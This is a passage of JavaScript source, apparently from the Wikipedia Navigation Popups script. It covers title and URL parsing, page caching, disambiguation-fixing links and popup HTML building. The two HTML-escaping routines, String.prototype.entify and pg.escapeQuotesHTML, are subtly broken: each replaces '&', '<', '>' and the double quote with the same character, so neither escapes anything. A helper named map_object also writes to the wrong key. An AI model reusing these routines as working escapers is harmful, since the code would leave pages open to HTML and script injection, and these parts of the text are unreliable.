return ssecs;
}
function addunit(num, str) {
return String(num) + ' ' + (num != 1 ? popupString(str + 's') : popupString(str));
}
function runPopupFilters(list, data, download) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (list[i] && typeof list[i] == 'function') {
const s = list[i](data, download, download.owner.article);
if (s) {
ret.push(s);
}
}
}
return ret;
}
function getPageInfo(data, download) {
if (!data || data.length === 0) {
return popupString('Empty page');
}
const popupFilters = getValueOf('popupFilters') || [];
const extraPopupFilters = getValueOf('extraPopupFilters') || [];
const pageInfoArray = runPopupFilters(popupFilters.concat(extraPopupFilters), data, download);
let pageInfo = pageInfoArray.join(', ');
if (pageInfo !== '') {
pageInfo = upcaseFirst(pageInfo);
}
return pageInfo;
}
// this could be improved!
function countLinks(wikiText) {
return wikiText.split('[[').length - 1;
}
// if N = # matches, n = # brackets, then
// String.parenSplit(regex) intersperses the N+1 split elements
// with Nn other elements. So total length is
// L= N+1 + Nn = N(n+1)+1. So N=(L-1)/(n+1).
function countImages(wikiText) {
return (wikiText.parenSplit(pg.re.image).length - 1) / (pg.re.imageBracketCount + 1);
}
function countCategories(wikiText) {
return (wikiText.parenSplit(pg.re.category).length - 1) / (pg.re.categoryBracketCount + 1);
}
function popupFilterStubDetect(data, download, article) {
const counts = stubCount(data, article);
if (counts.real) {
return popupString('stub');
}
if (counts.sect) {
return popupString('section stub');
}
return '';
}
function popupFilterDisambigDetect(data, download, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return '';
}
return isDisambig(data, article) ? popupString('disambig') : '';
}
function formatBytes(num) {
return num > 949 ?
Math.round(num / 100) / 10 + popupString('kB') :
num + ' ' + popupString('bytes');
}
// ENDFILE: pageinfo.js
// STARTFILE: titles.js
/**
* @file Defines the {@link Title} class, and associated crufty functions.
*
* <code>Title</code> deals with article titles and their various
* forms. {@link Stringwrapper} is the parent class of
* <code>Title</code>, which exists simply to make things a little
* neater.
*/
/**
* Creates a new Stringwrapper.
*
* @constructor
*
* @class the Stringwrapper class. This base class is not really
* useful on its own; it just wraps various common string operations.
*/
function Stringwrapper() {
/**
* Wrapper for this.toString().indexOf()
*
* @param {string} x
* @type {number}
*/
this.indexOf = function (x) {
return this.toString().indexOf(x);
};
/**
* Returns this.value.
*
* @type {string}
*/
this.toString = function () {
return this.value;
};
/**
* Wrapper for {@link String#parenSplit} applied to this.toString()
*
* @param {RegExp} x
* @type {Array}
*/
this.parenSplit = function (x) {
return this.toString().parenSplit(x);
};
/**
* Wrapper for this.toString().substring()
*
* @param {string} x
* @param {string} y (optional)
* @type {string}
*/
this.substring = function (x, y) {
if (typeof y == 'undefined') {
return this.toString().substring(x);
}
return this.toString().substring(x, y);
};
/**
* Wrapper for this.toString().split()
*
* @param {string} x
* @type {Array}
*/
this.split = function (x) {
return this.toString().split(x);
};
/**
* Wrapper for this.toString().replace()
*
* @param {string} x
* @param {string} y
* @type {string}
*/
this.replace = function (x, y) {
return this.toString().replace(x, y);
};
}
/**
* Creates a new <code>Title</code>.
*
* @constructor
*
* @class The Title class. Holds article titles and converts them into
* various forms. Also deals with anchors, by which we mean the bits
* of the article URL after a # character, representing locations
* within an article.
*
* @param {string} value The initial value to assign to the
* article. This must be the canonical title (see {@link
* Title#value}. Omit this in the constructor and use another function
* to set the title if this is unavailable.
*/
function Title(val) {
/**
* The canonical article title. This must be in UTF-8 with no
* entities, escaping or nasties. Also, underscores should be
* replaced with spaces.
*
* @type {string}
* @private
*/
this.value = null;
/**
* The canonical form of the anchor. This should be exactly as
* it appears in the URL, i.e. with the .C3.0A bits in.
*
* @type {string}
*/
this.anchor = '';
this.setUtf(val);
}
Title.prototype = new Stringwrapper();
/**
* Returns the canonical representation of the article title, optionally without anchor.
*
* @param {boolean} omitAnchor
* @fixme Decide specs for anchor
* @return String The article title and the anchor.
*/
Title.prototype.toString = function (omitAnchor) {
return this.value + (!omitAnchor && this.anchor ? '#' + this.anchorString() : '');
};
Title.prototype.anchorString = function () {
if (!this.anchor) {
return '';
}
const split = this.anchor.parenSplit(/((?:[.][0-9A-F]{2})+)/);
const len = split.length;
let value;
for (let j = 1; j < len; j += 2) {
// FIXME s/decodeURI/decodeURIComponent/g ?
value = split[j].split('.').join('%');
try {
value = decodeURIComponent(value);
} catch (e) {
// cannot decode
}
split[j] = value.split('_').join(' ');
}
return split.join('');
};
Title.prototype.urlAnchor = function () {
const split = this.anchor.parenSplit('/((?:[%][0-9A-F]{2})+)/');
const len = split.length;
for (let j = 1; j < len; j += 2) {
split[j] = split[j].split('%').join('.');
}
return split.join('');
};
Title.prototype.anchorFromUtf = function (str) {
this.anchor = encodeURIComponent(str.split(' ').join('_'))
.split('%3A')
.join(':')
.split("'")
.join('%27')
.split('%')
.join('.');
};
Title.fromURL = function (h) {
return new Title().fromURL(h);
};
Title.prototype.fromURL = function (h) {
if (typeof h != 'string') {
this.value = null;
return this;
}
// NOTE : playing with decodeURI, encodeURI, escape, unescape,
// we seem to be able to replicate the IE borked encoding
// IE doesn't do this new-fangled utf-8 thing.
// and it's worse than that.
// IE seems to treat the query string differently to the rest of the url
// the query is treated as bona-fide utf8, but the first bit of the url is pissed around with
// we fix up & for all browsers, just in case.
const splitted = h.split('?');
splitted[0] = splitted[0].split('&').join('%26');
h = splitted.join('?');
const contribs = pg.re.contribs.exec(h);
if (contribs) {
if (contribs[1] == 'title=') {
contribs[3] = contribs[3].split('+').join(' ');
}
const u = new Title(contribs[3]);
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' + u.stripNamespace()
)
);
return this;
}
const email = pg.re.email.exec(h);
if (email) {
this.setUtf(
this.decodeNasties(
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(email[3]).stripNamespace()
)
);
return this;
}
const backlinks = pg.re.backlinks.exec(h);
if (backlinks) {
this.setUtf(this.decodeNasties(new Title(backlinks[3])));
return this;
}
//A dummy title object for a Special:Diff link.
const specialdiff = pg.re.specialdiff.exec(h);
if (specialdiff) {
this.setUtf(
this.decodeNasties(
new Title(mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] + ':Diff')
)
);
return this;
}
// no more special cases to check --
// hopefully it's not a disguised user-related or specially treated special page
// Includes references
const m = pg.re.main.exec(h);
if (m === null) {
this.value = null;
} else {
const fromBotInterface = /[?](.+[&])?title=/.test(h);
if (fromBotInterface) {
m[2] = m[2].split('+').join('_');
}
const extracted = m[2] + (m[3] ? '#' + m[3] : '');
if (pg.flag.isSafari && /%25[0-9A-Fa-f]{2}/.test(extracted)) {
// Fix Safari issue
// Safari sometimes encodes % as %25 in UTF-8 encoded strings like %E5%A3 -> %25E5%25A3.
this.setUtf(decodeURIComponent(unescape(extracted)));
} else {
this.setUtf(this.decodeNasties(extracted));
}
}
return this;
};
Title.prototype.decodeNasties = function (txt) {
// myDecodeURI uses decodeExtras, which removes _,
// thus ruining citations previews, which are formated as "cite_note-1"
try {
let ret = decodeURI(this.decodeEscapes(txt));
ret = ret.replace(/[_ ]*$/, '');
return ret;
} catch (e) {
return txt; // cannot decode
}
};
// Decode valid %-encodings, otherwise escape them
Title.prototype.decodeEscapes = function (txt) {
const split = txt.parenSplit(/((?:[%][0-9A-Fa-f]{2})+)/);
const len = split.length;
// No %-encoded items found, so replace the literal %
if (len === 1) {
return split[0].replace(/%(?![0-9a-fA-F][0-9a-fA-F])/g, '%25');
}
for (let i = 1; i < len; i = i + 2) {
split[i] = decodeURIComponent(split[i]);
}
return split.join('');
};
Title.fromAnchor = function (a) {
return new Title().fromAnchor(a);
};
Title.prototype.fromAnchor = function (a) {
if (!a) {
this.value = null;
return this;
}
return this.fromURL(a.href);
};
Title.fromWikiText = function (txt) {
return new Title().fromWikiText(txt);
};
Title.prototype.fromWikiText = function (txt) {
// FIXME - testing needed
txt = myDecodeURI(txt);
this.setUtf(txt);
return this;
};
Title.prototype.hintValue = function () {
if (!this.value) {
return '';
}
return safeDecodeURI(this.value);
};
Title.prototype.toUserName = function (withNs) {
if (this.namespaceId() != pg.nsUserId && this.namespaceId() != pg.nsUsertalkId) {
this.value = null;
return;
}
this.value =
(withNs ? mw.config.get('wgFormattedNamespaces')[pg.nsUserId] + ':' : '') +
this.stripNamespace().split('/')[0];
};
Title.prototype.userName = function (withNs) {
const t = new Title(this.value);
t.toUserName(withNs);
if (t.value) {
return t;
}
return null;
};
Title.prototype.toTalkPage = function () {
// convert article to a talk page, or if we can't, return null
// In other words: return null if this ALREADY IS a talk page
// and return the corresponding talk page otherwise
//
// Per https://www.mediawiki.org/wiki/Manual:Namespace#Subject_and_talk_namespaces
// * All discussion namespaces have odd-integer indices
// * The discussion namespace index for a specific namespace with index n is n + 1
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 === 0) {
//non-special and subject namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId + 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
// Return canonical, localized namespace
Title.prototype.namespace = function () {
return mw.config.get('wgFormattedNamespaces')[this.namespaceId()];
};
Title.prototype.namespaceId = function () {
const n = this.value.indexOf(':');
if (n < 0) {
return 0;
} //mainspace
const namespaceId =
mw.config.get('wgNamespaceIds')[
this.value.substring(0, n).split(' ').join('_').toLowerCase()
];
if (typeof namespaceId == 'undefined') {
return 0;
} //mainspace
return namespaceId;
};
Title.prototype.talkPage = function () {
const t = new Title(this.value);
t.toTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.isTalkPage = function () {
if (this.talkPage() === null) {
return true;
}
return false;
};
Title.prototype.toArticleFromTalkPage = function () {
//largely copy/paste from toTalkPage above.
if (this.value === null) {
return null;
}
const namespaceId = this.namespaceId();
if (namespaceId >= 0 && namespaceId % 2 == 1) {
//non-special and talk namespace
const localizedNamespace = mw.config.get('wgFormattedNamespaces')[namespaceId - 1];
if (typeof localizedNamespace !== 'undefined') {
if (localizedNamespace === '') {
this.value = this.stripNamespace();
} else {
this.value = localizedNamespace.split(' ').join('_') + ':' + this.stripNamespace();
}
return this.value;
}
}
this.value = null;
return null;
};
Title.prototype.articleFromTalkPage = function () {
const t = new Title(this.value);
t.toArticleFromTalkPage();
if (t.value) {
return t;
}
return null;
};
Title.prototype.articleFromTalkOrArticle = function () {
const t = new Title(this.value);
if (t.toArticleFromTalkPage()) {
return t;
}
return this;
};
Title.prototype.isIpUser = function () {
return pg.re.ipUser.test(this.userName());
};
Title.prototype.stripNamespace = function () {
// returns a string, not a Title
const n = this.value.indexOf(':');
if (n < 0) {
return this.value;
}
const namespaceId = this.namespaceId();
if (namespaceId === pg.nsMainspaceId) {
return this.value;
}
return this.value.substring(n + 1);
};
Title.prototype.setUtf = function (value) {
if (!value) {
this.value = '';
return;
}
const anch = value.indexOf('#');
if (anch < 0) {
this.value = value.split('_').join(' ');
this.anchor = '';
return;
}
this.value = value.substring(0, anch).split('_').join(' ');
this.anchor = value.substring(anch + 1);
this.ns = null; // wait until namespace() is called
};
Title.prototype.setUrl = function (urlfrag) {
const anch = urlfrag.indexOf('#');
this.value = safeDecodeURI(urlfrag.substring(0, anch));
this.anchor = this.value.substring(anch + 1);
};
Title.prototype.append = function (x) {
this.setUtf(this.value + x);
};
Title.prototype.urlString = function (x) {
if (!x) {
x = {};
}
let v = this.toString(true);
if (!x.omitAnchor && this.anchor) {
v += '#' + this.urlAnchor();
}
if (!x.keepSpaces) {
v = v.split(' ').join('_');
}
return encodeURI(v).split('&').join('%26').split('?').join('%3F').split('+').join('%2B');
};
Title.prototype.removeAnchor = function () {
return new Title(this.toString(true));
};
Title.prototype.toUrl = function () {
return pg.wiki.titlebase + this.urlString();
};
function parseParams(url) {
const specialDiff = pg.re.specialdiff.exec(url);
if (specialDiff) {
const split = specialDiff[1].split('/');
if (split.length == 1) {
return { oldid: split[0], diff: 'prev' };
} else if (split.length == 2) {
return { oldid: split[0], diff: split[1] };
}
}
const ret = {};
if (url.indexOf('?') == -1) {
return ret;
}
url = url.split('#')[0];
const s = url.split('?').slice(1).join();
const t = s.split('&');
for (let i = 0; i < t.length; ++i) {
const z = t[i].split('=');
z.push(null);
ret[z[0]] = z[1];
}
//Diff revision with no oldid is interpreted as a diff to the previous revision by MediaWiki
if (ret.diff && typeof ret.oldid === 'undefined') {
ret.oldid = 'prev';
}
//Documentation seems to say something different, but oldid can also accept prev/next, and
//Echo is emitting such URLs. Simple fixup during parameter decoding:
if (ret.oldid && (ret.oldid === 'prev' || ret.oldid === 'next' || ret.oldid === 'cur')) {
const helper = ret.diff;
ret.diff = ret.oldid;
ret.oldid = helper;
}
return ret;
}
// (a) myDecodeURI (first standard decodeURI, then pg.re.urlNoPopup)
// (b) change spaces to underscores
// (c) encodeURI (just the straight one, no pg.re.urlNoPopup)
function myDecodeURI(str) {
let ret;
// FIXME decodeURIComponent??
try {
ret = decodeURI(str.toString());
} catch (summat) {
return str;
}
for (let i = 0; i < pg.misc.decodeExtras.length; ++i) {
const from = pg.misc.decodeExtras[i].from;
const to = pg.misc.decodeExtras[i].to;
ret = ret.split(from).join(to);
}
return ret;
}
function safeDecodeURI(str) {
const ret = myDecodeURI(str);
return ret || str;
}
///////////
// TESTS //
///////////
function isDisambig(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
return !article.isTalkPage() && pg.re.disambig.test(data);
}
function stubCount(data, article) {
if (!getValueOf('popupAllDabsStubs') && article.namespace()) {
return false;
}
let sectStub = 0;
let realStub = 0;
if (pg.re.stub.test(data)) {
const s = data.parenSplit(pg.re.stub);
for (let i = 1; i < s.length; i = i + 2) {
if (s[i]) {
++sectStub;
} else {
++realStub;
}
}
}
return { real: realStub, sect: sectStub };
}
function isValidImageName(str) {
// extend as needed...
return str.indexOf('{') == -1;
}
function isInStrippableNamespace(article) {
// Does the namespace allow subpages
// Note, would be better if we had access to wgNamespacesWithSubpages
return article.namespaceId() !== 0;
}
function isInMainNamespace(article) {
return article.namespaceId() === 0;
}
function anchorContainsImage(a) {
// iterate over children of anchor a
// see if any are images
if (a === null) {
return false;
}
const kids = a.childNodes;
for (let i = 0; i < kids.length; ++i) {
if (kids[i].nodeName == 'IMG') {
return true;
}
}
return false;
}
function isPopupLink(a) {
// NB for performance reasons, TOC links generally return true
// they should be stripped out later
if (!markNopopupSpanLinks.done) {
markNopopupSpanLinks();
}
if (a.inNopopupSpan) {
return false;
}
// FIXME is this faster inline?
if (a.onmousedown || a.getAttribute('nopopup')) {
return false;
}
const h = a.href;
if (h === document.location.href + '#') {
return false;
}
if (!pg.re.basenames.test(h)) {
return false;
}
if (!pg.re.urlNoPopup.test(h)) {
return true;
}
return (
(pg.re.email.test(h) ||
pg.re.contribs.test(h) ||
pg.re.backlinks.test(h) ||
pg.re.specialdiff.test(h)) &&
h.indexOf('&limit=') == -1
);
}
function markNopopupSpanLinks() {
if (!getValueOf('popupOnlyArticleLinks')) {
fixVectorMenuPopups();
}
const s = $('.nopopups').toArray();
for (let i = 0; i < s.length; ++i) {
const as = s[i].getElementsByTagName('a');
for (let j = 0; j < as.length; ++j) {
as[j].inNopopupSpan = true;
}
}
markNopopupSpanLinks.done = true;
}
function fixVectorMenuPopups() {
$('nav.vector-menu h3:first a:first').prop('inNopopupSpan', true);
}
// ENDFILE: titles.js
// STARTFILE: getpage.js
//////////////////////////////////////////////////
// Wiki-specific downloading
//
// Schematic for a getWiki call
//
// getPageWithCaching
// |
// false | true
// getPage<-[findPictureInCache]->-onComplete(a fake download)
// \.
// (async)->addPageToCache(download)->-onComplete(download)
// check cache to see if page exists
function getPageWithCaching(url, onComplete, owner) {
log('getPageWithCaching, url=' + url);
const i = findInPageCache(url);
let d;
if (i > -1) {
d = fakeDownload(
url,
owner.idNumber,
onComplete,
pg.cache.pages[i].data,
pg.cache.pages[i].lastModified,
owner
);
} else {
d = getPage(url, onComplete, owner);
if (d && owner && owner.addDownload) {
owner.addDownload(d);
d.owner = owner;
}
}
}
function getPage(url, onComplete, owner) {
log('getPage');
const callback = function (d) {
if (!d.aborted) {
addPageToCache(d);
onComplete(d);
}
};
return startDownload(url, owner.idNumber, callback);
}
function findInPageCache(url) {
for (let i = 0; i < pg.cache.pages.length; ++i) {
if (url == pg.cache.pages[i].url) {
return i;
}
}
return -1;
}
function addPageToCache(download) {
log('addPageToCache ' + download.url);
const page = {
url: download.url,
data: download.data,
lastModified: download.lastModified,
};
return pg.cache.pages.push(page);
}
// ENDFILE: getpage.js
// STARTFILE: parensplit.js
//////////////////////////////////////////////////
// parenSplit
// String.prototype.parenSplit should do what ECMAscript says String.prototype.split does,
// interspersing paren matches (regex capturing groups) between the split elements.
// i.e. 'abc'.split(/(b)/)) should return ['a','b','c'], not ['a','c']
if (String('abc'.split(/(b)/)) != 'a,b,c') {
// broken String.split, e.g. konq, IE < 10
String.prototype.parenSplit = function (re) {
re = nonGlobalRegex(re);
let s = this;
let m = re.exec(s);
let ret = [];
while (m && s) {
// without the following loop, we have
// 'ab'.parenSplit(/a|(b)/) != 'ab'.split(/a|(b)/)
for (let i = 0; i < m.length; ++i) {
if (typeof m[i] == 'undefined') {
m[i] = '';
}
}
ret.push(s.substring(0, m.index));
ret = ret.concat(m.slice(1));
s = s.substring(m.index + m[0].length);
m = re.exec(s);
}
ret.push(s);
return ret;
};
} else {
String.prototype.parenSplit = function (re) {
return this.split(re);
};
String.prototype.parenSplit.isNative = true;
}
function nonGlobalRegex(re) {
const s = re.toString();
let flags = '';
for (var j = s.length; s.charAt(j) != '/'; --j) {
if (s.charAt(j) != 'g') {
flags += s.charAt(j);
}
}
const t = s.substring(1, j);
return RegExp(t, flags);
}
// ENDFILE: parensplit.js
// STARTFILE: tools.js
// IE madness with encoding
// ========================
//
// suppose throughout that the page is in utf8, like wikipedia
//
// if a is an anchor DOM element and a.href should consist of
//
// http://host.name.here/wiki/foo?bar=baz
//
// then IE gives foo as "latin1-encoded" utf8; we have foo = decode_utf8(decodeURI(foo_ie))
// but IE gives bar=baz correctly as plain utf8
//
// ---------------------------------
//
// IE's xmlhttp doesn't understand utf8 urls. Have to use encodeURI here.
//
// ---------------------------------
//
// summat else
// Source: http://aktuell.de.selfhtml.org/artikel/javascript/utf8b64/utf8.htm
function getJsObj(json) {
try {
const json_ret = JSON.parse(json);
if (json_ret.warnings) {
for (let w = 0; w < json_ret.warnings.length; w++) {
if (json_ret.warnings[w]['*']) {
log(json_ret.warnings[w]['*']);
} else {
log(json_ret.warnings[w].warnings);
}
}
} else if (json_ret.error) {
errlog(json_ret.error.code + ': ' + json_ret.error.info);
}
return json_ret;
} catch (someError) {
errlog('Something went wrong with getJsObj, json=' + json);
return 1;
}
}
function anyChild(obj) {
for (const p in obj) {
return obj[p];
}
return null;
}
function upcaseFirst(str) {
if (typeof str != typeof '' || str === '') {
return '';
}
return str.charAt(0).toUpperCase() + str.substring(1);
}
function findInArray(arr, foo) {
if (!arr || !arr.length) {
return -1;
}
const len = arr.length;
for (let i = 0; i < len; ++i) {
if (arr[i] == foo) {
return i;
}
}
return -1;
}
/* eslint-disable no-unused-vars */
function nextOne(array, value) {
// NB if the array has two consecutive entries equal
// then this will loop on successive calls
const i = findInArray(array, value);
if (i < 0) {
return null;
}
return array[i + 1];
}
/* eslint-enable no-unused-vars */
function literalizeRegex(str) {
return mw.util.escapeRegExp(str);
}
String.prototype.entify = function () {
//var shy='­';
return this.split('&')
.join('&')
.split('<')
.join('<')
.split('>')
.join('>' /*+shy*/)
.split('"')
.join('"');
};
// Array filter function
function removeNulls(val) {
return val !== null;
}
function joinPath(list) {
return list.filter(removeNulls).join('/');
}
function simplePrintf(str, subs) {
if (!str || !subs) {
return str;
}
const ret = [];
const s = str.parenSplit(/(%s|\$[0-9]+)/);
let i = 0;
do {
ret.push(s.shift());
if (!s.length) {
break;
}
const cmd = s.shift();
if (cmd == '%s') {
if (i < subs.length) {
ret.push(subs[i]);
} else {
ret.push(cmd);
}
++i;
} else {
const j = parseInt(cmd.replace('$', ''), 10) - 1;
if (j > -1 && j < subs.length) {
ret.push(subs[j]);
} else {
ret.push(cmd);
}
}
} while (s.length > 0);
return ret.join('');
}
/* eslint-disable no-unused-vars */
function isString(x) {
return typeof x === 'string' || x instanceof String;
}
function isNumber(x) {
return typeof x === 'number' || x instanceof Number;
}
function isRegExp(x) {
return x instanceof RegExp;
}
function isArray(x) {
return x instanceof Array;
}
function isObject(x) {
return x instanceof Object;
}
function isFunction(x) {
return !isRegExp(x) && (typeof x === 'function' || x instanceof Function);
}
/* eslint-enable no-unused-vars */
function repeatString(s, mult) {
let ret = '';
for (let i = 0; i < mult; ++i) {
ret += s;
}
return ret;
}
function zeroFill(s, min) {
min = min || 2;
const t = s.toString();
return repeatString('0', min - t.length) + t;
}
function map(f, o) {
if (isArray(o)) {
return map_array(f, o);
}
return map_object(f, o);
}
function map_array(f, o) {
const ret = [];
for (let i = 0; i < o.length; ++i) {
ret.push(f(o[i]));
}
return ret;
}
function map_object(f, o) {
const ret = {};
for (const i in o) {
ret[o] = f(o[i]);
}
return ret;
}
pg.escapeQuotesHTML = function (text) {
return text
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>');
};
pg.unescapeQuotesHTML = function (html) {
// From https://stackoverflow.com/a/7394787
// This seems to be implemented correctly on all major browsers now, so we
// don't have to make our own function.
const txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
};
// ENDFILE: tools.js
// STARTFILE: dab.js
//////////////////////////////////////////////////
// Dab-fixing code
//
function retargetDab(newTarget, oldTarget, friendlyCurrentArticleName, titleToEdit) {
log('retargetDab: newTarget=' + newTarget + ' oldTarget=' + oldTarget);
return changeLinkTargetLink({
newTarget: newTarget,
text: newTarget.split(' ').join(' '),
hint: tprintf('disambigHint', [newTarget]),
summary: simplePrintf(getValueOf('popupFixDabsSummary'), [
friendlyCurrentArticleName,
newTarget,
]),
clickButton: getValueOf('popupDabsAutoClick'),
minor: true,
oldTarget: oldTarget,
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
});
}
function listLinks(wikitext, oldTarget, titleToEdit) {
// mediawiki strips trailing spaces, so we do the same
// testcase: https://en.wikipedia.org/w/index.php?title=Radial&oldid=97365633
const reg = /\[\[([^|]*?) *(\||\]\])/gi;
let ret = [];
const splitted = wikitext.parenSplit(reg);
// ^[a-z]+ should match interwiki links, hopefully (case-insensitive)
// and ^[a-z]* should match those and [[:Category...]] style links too
const omitRegex = /^[a-z]*:|^[Ss]pecial:|^[Ii]mage|^[Cc]ategory/;
const friendlyCurrentArticleName = oldTarget.toString();
const wikPos = getValueOf('popupDabWiktionary');
for (let i = 1; i < splitted.length; i = i + 3) {
if (
typeof splitted[i] == typeof 'string' &&
splitted[i].length > 0 &&
!omitRegex.test(splitted[i])
) {
ret.push(retargetDab(splitted[i], oldTarget, friendlyCurrentArticleName, titleToEdit));
} /* if */
} /* for loop */
ret = rmDupesFromSortedList(ret.sort());
if (wikPos) {
const wikTarget =
'wiktionary:' +
friendlyCurrentArticleName.replace(/^(.+)\s+[(][^)]+[)]\s*$/, '$1');
let meth;
if (wikPos.toLowerCase() == 'first') {
meth = 'unshift';
} else {
meth = 'push';
}
ret[meth](retargetDab(wikTarget, oldTarget, friendlyCurrentArticleName, titleToEdit));
}
ret.push(
changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this disambig page from this article'),
clickButton: getValueOf('popupDabsAutoClick'),
oldTarget: oldTarget,
summary: simplePrintf(getValueOf('popupRmDabLinkSummary'), [friendlyCurrentArticleName]),
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
})
);
return ret;
}
function rmDupesFromSortedList(list) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (ret.length === 0 || list[i] != ret[ret.length - 1]) {
ret.push(list[i]);
}
}
return ret;
}
function makeFixDab(data, navpop) {
// grab title from parent popup if there is one; default exists in changeLinkTargetLink
const titleToEdit = navpop.parentPopup && navpop.parentPopup.article.toString();
const list = listLinks(data, navpop.originalArticle, titleToEdit);
if (list.length === 0) {
log('listLinks returned empty list');
return null;
}
let html = '<hr />' + popupString('Click to disambiguate this link to:') + '<br>';
html += list.join(', ');
return html;
}
function makeFixDabs(wikiText, navpop) {
if (
getValueOf('popupFixDabs') &&
isDisambig(wikiText, navpop.article) &&
Title.fromURL(location.href).namespaceId() != pg.nsSpecialId &&
navpop.article.talkPage()
) {
setPopupHTML(makeFixDab(wikiText, navpop), 'popupFixDab', navpop.idNumber);
}
}
function popupRedlinkHTML(article) {
return changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this page from this article'),
clickButton: getValueOf('popupRedlinkAutoClick'),
oldTarget: article.toString(),
summary: simplePrintf(getValueOf('popupRedlinkSummary'), [article.toString()]),
});
}
// ENDFILE: dab.js
// STARTFILE: htmloutput.js
// this has to use a timer loop as we don't know if the DOM element exists when we want to set the text
function setPopupHTML(str, elementId, popupId, onSuccess, append) {
if (typeof popupId === 'undefined') {
//console.error('popupId is not defined in setPopupHTML, html='+str.substring(0,100));
popupId = pg.idNumber;
}
const popupElement = document.getElementById(elementId + popupId);
if (popupElement) {
if (!append) {
popupElement.innerHTML = '';
}
if (isString(str)) {
popupElement.innerHTML += str;
} else {
popupElement.appendChild(str);
}
if (onSuccess) {
onSuccess();
}
setTimeout(checkPopupPosition, 100);
return true;
} else {
// call this function again in a little while...
setTimeout(() => {
setPopupHTML(str, elementId, popupId, onSuccess);
}, 600);
}
return null;
}
function setPopupTrailer(str, id) {
return setPopupHTML(str, 'popupData', id);
}
// args.navpopup is mandatory
// optional: args.redir, args.redirTarget
// FIXME: ye gods, this is ugly stuff
function fillEmptySpans(args) {
// if redir is present and true then redirTarget is mandatory
let redir = true;
let rcid;
if (typeof args != 'object' || typeof args.redir == 'undefined' || !args.redir) {
redir = false;
}
const a = args.navpopup.parentAnchor;
let article,
hint = null,
oldid = null,
params = {};
if (redir && typeof args.redirTarget == typeof {}) {
article = args.redirTarget;
//hint=article.hintValue();
} else {
article = new Title().fromAnchor(a);
hint = a.originalTitle || article.hintValue();
params = parseParams(a.href);
oldid = getValueOf('popupHistoricalLinks') ? params.oldid : null;
rcid = params.rcid;
}
const x = {
article: article,
hint: hint,
oldid: oldid,
rcid: rcid,
navpop: args.navpopup,
params: params,
};
const structure = pg.structures[getValueOf('popupStructure')];
if (typeof structure != 'object') {
setPopupHTML(
'popupError',
'Unknown structure (this should never happen): ' + pg.option.popupStructure,
args.navpopup.idNumber
);
return;
}
const spans = flatten(pg.misc.layout);
const numspans = spans.length;
const redirs = pg.misc.redirSpans;
for (let i = 0; i < numspans; ++i) {
const found = redirs && redirs.indexOf(spans[i]) !== -1;
//log('redir='+redir+', found='+found+', spans[i]='+spans[i]);
if ((found && !redir) || (!found && redir)) {
//log('skipping this set of the loop');
continue;
}
const structurefn = structure[spans[i]];
if (structurefn === undefined) {
// nothing to do for this structure part
continue;
}
let setfn = setPopupHTML;
if (
getValueOf('popupActiveNavlinks') &&
(spans[i].indexOf('popupTopLinks') === 0 || spans[i].indexOf('popupRedirTopLinks') === 0)
) {
setfn = setPopupTipsAndHTML;
}
switch (typeof structurefn) {
case 'function':
log(
'running ' +
spans[i] +
'({article:' +
x.article +
', hint:' +
x.hint +
', oldid: ' +
x.oldid +
'})'
);
setfn(structurefn(x), spans[i], args.navpopup.idNumber);
break;
case 'string':
setfn(structurefn, spans[i], args.navpopup.idNumber);
break;
default:
errlog('unknown thing with label ' + spans[i] + ' (span index was ' + i + ')');
break;
}
}
}
// flatten an array
function flatten(list, start) {
const ret = [];
if (typeof start == 'undefined') {
start = 0;
}
for (let i = start; i < list.length; ++i) {
if (typeof list[i] == typeof []) {
return ret.concat(flatten(list[i])).concat(flatten(list, i + 1));
} else {
ret.push(list[i]);
}
}
return ret;
}
// Generate html for whole popup
function popupHTML(a) {
getValueOf('popupStructure');
const structure = pg.structures[pg.option.popupStructure];
if (typeof structure != 'object') {
//return 'Unknown structure: '+pg.option.popupStructure;
// override user choice
pg.option.popupStructure = pg.optionDefault.popupStructure;
return popupHTML(a);
}
if (typeof structure.popupLayout != 'function') {
return 'Bad layout';
}
pg.misc.layout = structure.popupLayout();
if (typeof structure.popupRedirSpans === 'function') {
pg.misc.redirSpans = structure.popupRedirSpans();
} else {
pg.misc.redirSpans = [];
}
return makeEmptySpans(pg.misc.layout, a.navpopup);
}
function makeEmptySpans(list, navpop) {
let ret = '';
for (let i = 0; i < list.length; ++i) {
if (typeof list[i] == typeof '') {
ret += emptySpanHTML(list[i], navpop.idNumber, 'div');
} else if (typeof list[i] == typeof [] && list[i].length > 0) {
ret = ret.parenSplit(/(<\/[^>]*?>$)/).join(makeEmptySpans(list[i], navpop));
} else if (typeof list[i] == typeof {} && list[i].nodeType) {
ret += emptySpanHTML(list[i].name, navpop.idNumber, list[i].nodeType);
}
}
return ret;
}
function emptySpanHTML(name, id, tag, classname) {
tag = tag || 'span';
if (!classname) {
classname = emptySpanHTML.classAliases[name];
}
classname = classname || name;
if (name == getValueOf('popupDragHandle')) {
classname += ' popupDragHandle';
}
return simplePrintf('<%s id="%s" class="%s"></%s>', [tag, name + id, classname, tag]);
}
emptySpanHTML.classAliases = { popupSecondPreview: 'popupPreview' };
// generate html for popup image
// <a id="popupImageLinkn"><img id="popupImagen">
// where n=idNumber
function imageHTML(article, idNumber) {
return simplePrintf(
